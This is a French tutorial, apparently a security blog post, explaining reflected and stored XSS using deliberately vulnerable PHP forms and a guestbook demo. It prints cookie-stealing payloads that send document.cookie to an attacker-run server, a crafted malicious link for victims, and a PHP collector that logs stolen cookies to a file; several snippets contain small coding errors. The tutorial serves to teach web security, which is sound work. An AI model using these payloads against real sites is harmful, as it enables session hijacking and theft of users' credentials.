XSS reflected et stored

La faille XSS (Cross Site Scripting) est une vulnérabilité qui va permettre à un attaquant d’injecter du code HTML ou JavaScript dans un champ non protégé d'une application dans le but de faire interpréter ce code par le navigateur de la victime. Les conséquences d'une telle vulnérabilité sont diverse : exfiltration de données sensibles, falsification de page, redirection vers un site de phishing etc. Il existe trois types de faille XSS:

  1. Les XSS reflected (ou non stockées)
  2. Les XSS stored (ou stockées)
  3. Les XSS DOM based (que nous aborderons dans une prochaine page

De manière générale il est assez simple de détecter la présence d'une vulnérabilité de type XSS. Pour cela il suffira de repérer les champs d'une application dans lesquels on peut écrire de la donnée et y injecter du code Javascript tel que le payload suivant:

<script>alert()</script>

Si un pop up apparaît cela voudra dire que le XSS est bien présente puisque le code JavaScript est exécuté.

I/ Les XSS reflected

Les XSS reflected sont les XSS les plus trouvés. Ces XSS ne sont pas stockées en base de données, on dit qu'elles sont réfléchies. Prenons le formulaire suivant :

<!DOCTYPE html>
<html>
  <body>
    <form action="#" method="get">
      <label>Que recherchez vous ?</label>
      <input type="text" name="recherche"/>
      <input type="submit" value="Rechercher"/>
    </form>
  <?php
    echo $_GET["recherche"];
  ?>
  </body>
</html>

Ce formulaire se contente de récupérer le mot recherché par l'utilisateur et l'afficher. Ainsi si on entre le mot "pomme" dans la barre de recherche, ce dernier nous sera affiché en retour :

pomme.png

Comme je vous l’ai dit la faille XSS permet d’injecter du code HTML et JavaScript dans des champs non sécurisés. On va donc s’amuser à entrer du code HTML dans notre formulaire. On peut par exemple demander à ce que l’objet que l’on recherche soit écrit en gras via l’utilisation de la balise bold :

pomme3.png

On remarque ainsi que le code HTML est bien interprété ce qui représente une première preuve de l'existence d'une vulnérabilité XSS. Alors tout ça c'est bien sympas mais pour le moment ce n'est pas vraiment intéressant du point de vue d'un attaquant. En revanche si on injecte du code JavaScript nous allons pouvoir effectuer des actions bien plus sympathique. On pourra par exemple faire apparaître des pop up sur le navigateur de nos client via le payload suivant:

<script>alert("Xssed")</script>

Ce qui, visuellement parlant, se traduit par ça:

xssed.png

Super mais qu’est ce qu’on peut faire concrètement en injectant du JavaScript ? Eh bien justement, on peut faire tout un tas de trucs comme afficher un faux formulaire, rediriger les utilisateurs vers un faux site, logger les frappes claviers des utilisateurs ou encore voler leurs cookies !

Prenons le code suivant :

<!DOCTYPE html>
<html>
  <body>
    <form action="#" method="get">
      <label>Que recherchez vous ?</label>
      <input type="text" name="recherche"/>
      <input type="submit" value="Rechercher"/>
    </form>
  <?php
  	setcookie("username", "Defte", time()+365*24*3600);
    setcookie("password", "cemotdepasseesttroplongpouretretrouve", time+365*24*3600);
    echo $_GET["recherche"];
  ?>
  </body>
</html>

Ce code, en plus d'afficher le mot recherché par l'utilisateur va aussi créer deux cookies. Pour rappel, les cookies sont de petites variables stockées directement dans le navigateur des utilisateurs. Dans le cas présent j'ai fait exprès de créer des cookies contenant des informations sensibles : un identifiant et le mot de passe lié. Dans un cas réel il est très peu probable que des cookies contiennent les mots de passe des utilisateur d'une application (ou alors c'est une vulnérabilité critique). En revanche il est très commun de stocker des variables de session dans les cookies ce qui les rend aussi sensibles qu'un couple identifiant/mot de passe.

Avec le payload suivant:

<script>alert(document.cookie)</script>

Il est possible d'afficher ces cookies dans un pop:

cookies.png

Les plus perspicaces pourront me dire que ce n’est pas vraiment une vulnérabilité puisque je m’auto vole mes cookies. Oui c’est vrai mais vu que l’on peut injecter tout type de code JavaScript rien ne nous empêche d’exfiltrer ces cookies via une requête HTTP.

Pour cela je vais monter un serveur web via le module http.server de python3 :

pyweb.png

Ensuite je n’aurai plus qu’à utiliser la méthode document.location en y spécifiant l'IP de mon serveur:

<script>document.location='http://127.0.0.1:4444/?cookies='+document.cookie</script>

Pour récupérer les cookies de ma victime:

request.png

Pour que l'exploitation de cette vulnérabilité soit réussie il faudra que l'attaque trouve un champ vulnérable (en l’occurrence le paramètre recherche du formulaire), crée l'URL contenant la charge malveillante:

http://sitevulnerable.com/index.php?recherche=<script>document.location='http://127.0.0.1:4444/?cookies='+document.cookie</script>

Envoie cette URL à sa victime et attende que la victime clique sur l'URL.

II/ Les XSS stored

Ces XSS sont dites permanentes car elles sont directement stockées dans la base de données de l’application. Imaginez par exemple un formulaire d’inscription vulnérable. Si un utilisateur injecte du JavaScript dans un des champs et que ce champ est affiché quelque part sur l’application alors tous les utilisateurs seront affectés par la charge XSS.

Prenons le cas d’un livre d’or. C’est une page web sur laquelle des utilisateurs peuvent laisser des messages par exemple pour noter un musée, un hôtel ou autre. Tous les messages sont stockés dans une base de données.

Dans cet exemple je vais avoir besoin d’une base de données qui stocke les utilisateurs ainsi que les commentaires laissés par ces mêmes utilisateurs.

create table utilisateur
(
  idUtilisateur int not null auto_increment primary key,
  mdpUtilisateur varchar(25) not null,
  pseudoUtilisateur varchar(20) not null,
  emailUtilisateur varchar(50) not null
)
ENGINE=INNODB;

create table message
(
 idMessage int not null auto_increment primary key, 
 contenu text not null
)
ENGINE=INNODB;

Dans la table utilisateur, nous insérons deux utilisateurs : l’administrateur du site et un utilisateur lambda.

INSERT INTO utilisateur (mdpUtilisateur, pseudoUtilisateur, emailUtilisateur) values ("mdp1", "Administrateur", "admin@hotmail.fr");
INSERT INTO utilisateur (mdpUtilisateur, pseudoUtilisateur, emailUtilisateur) values ("mdp2", "Utilisateur1", "utilisateur1@hotmail.fr");

basecontent.png

Comme vous pouvez le voir, l’utilisateur 1 est l’administrateur du site. L’utilisateur 2 est une personne lambda qui vient poster un message.

Supposons que l’utilisateur se connecte sur le site :

u2dlivredor.png

Il arrive sur la page du livre d’or :

wOVlivredor.png

Il n’y a pas encore de message ! On va donc en ajouter un (inoffensif cette fois).

p9vlivredor1.png

Et le résultat :

livredor2.png

Maintenant la question qu’il faut se poser est : « est-ce que les champs sont protégés contre la faille XSS » ? On va voir ça tout de suite en injectant des balises HTML :

livredor3.png

Et le résultat :

livredor4.png

Notre message apparaît bien en gras et en italique. Une XSS est donc potentiellement présente.

Comme pour l’exemple avec les XSS reflected, nous allons pouvoir voler les cookies des utilisateurs et les exfiltrer en utilisant la méthode document.location. La seule différence ici, comme je l’ai dit plus tôt, c’est que la totalité des utilisateurs qui visiteront le livre d’or seront affectés par la XSS.

Du coup, afin de faciliter la réception des cookies nous allons utiliser un bout de code PHP qui va nous permettre de stocker les cookies dans un fichier txt :

<?php
foreach($_GET AS $key=> $value){
  $data = '['.$key.'] => ['.$value']\r\n'; $data .= "-------------------------\r\n";
  $handler = @fopen("cookie.txt", "a");
  fwrite($handler, $data);
  fclose($handler);
}  

Et voici le payload que nous allons utiliser :

<script>windows.open("http://127.0.0.1/test/xss/Livre%20d'or/xss.php?a="+document.cookie)</script>

Il ne nous restera plus qu'à attendre qu'un utilisateur se connecte sur la page pour récupérer ses cookies username et mot de passe :

livredor5.png

A partir de maintenant toute personne qui se connectera sur la page « Livre d’or » donnera involontairement à l’attaquant l’ensemble de ses cookies.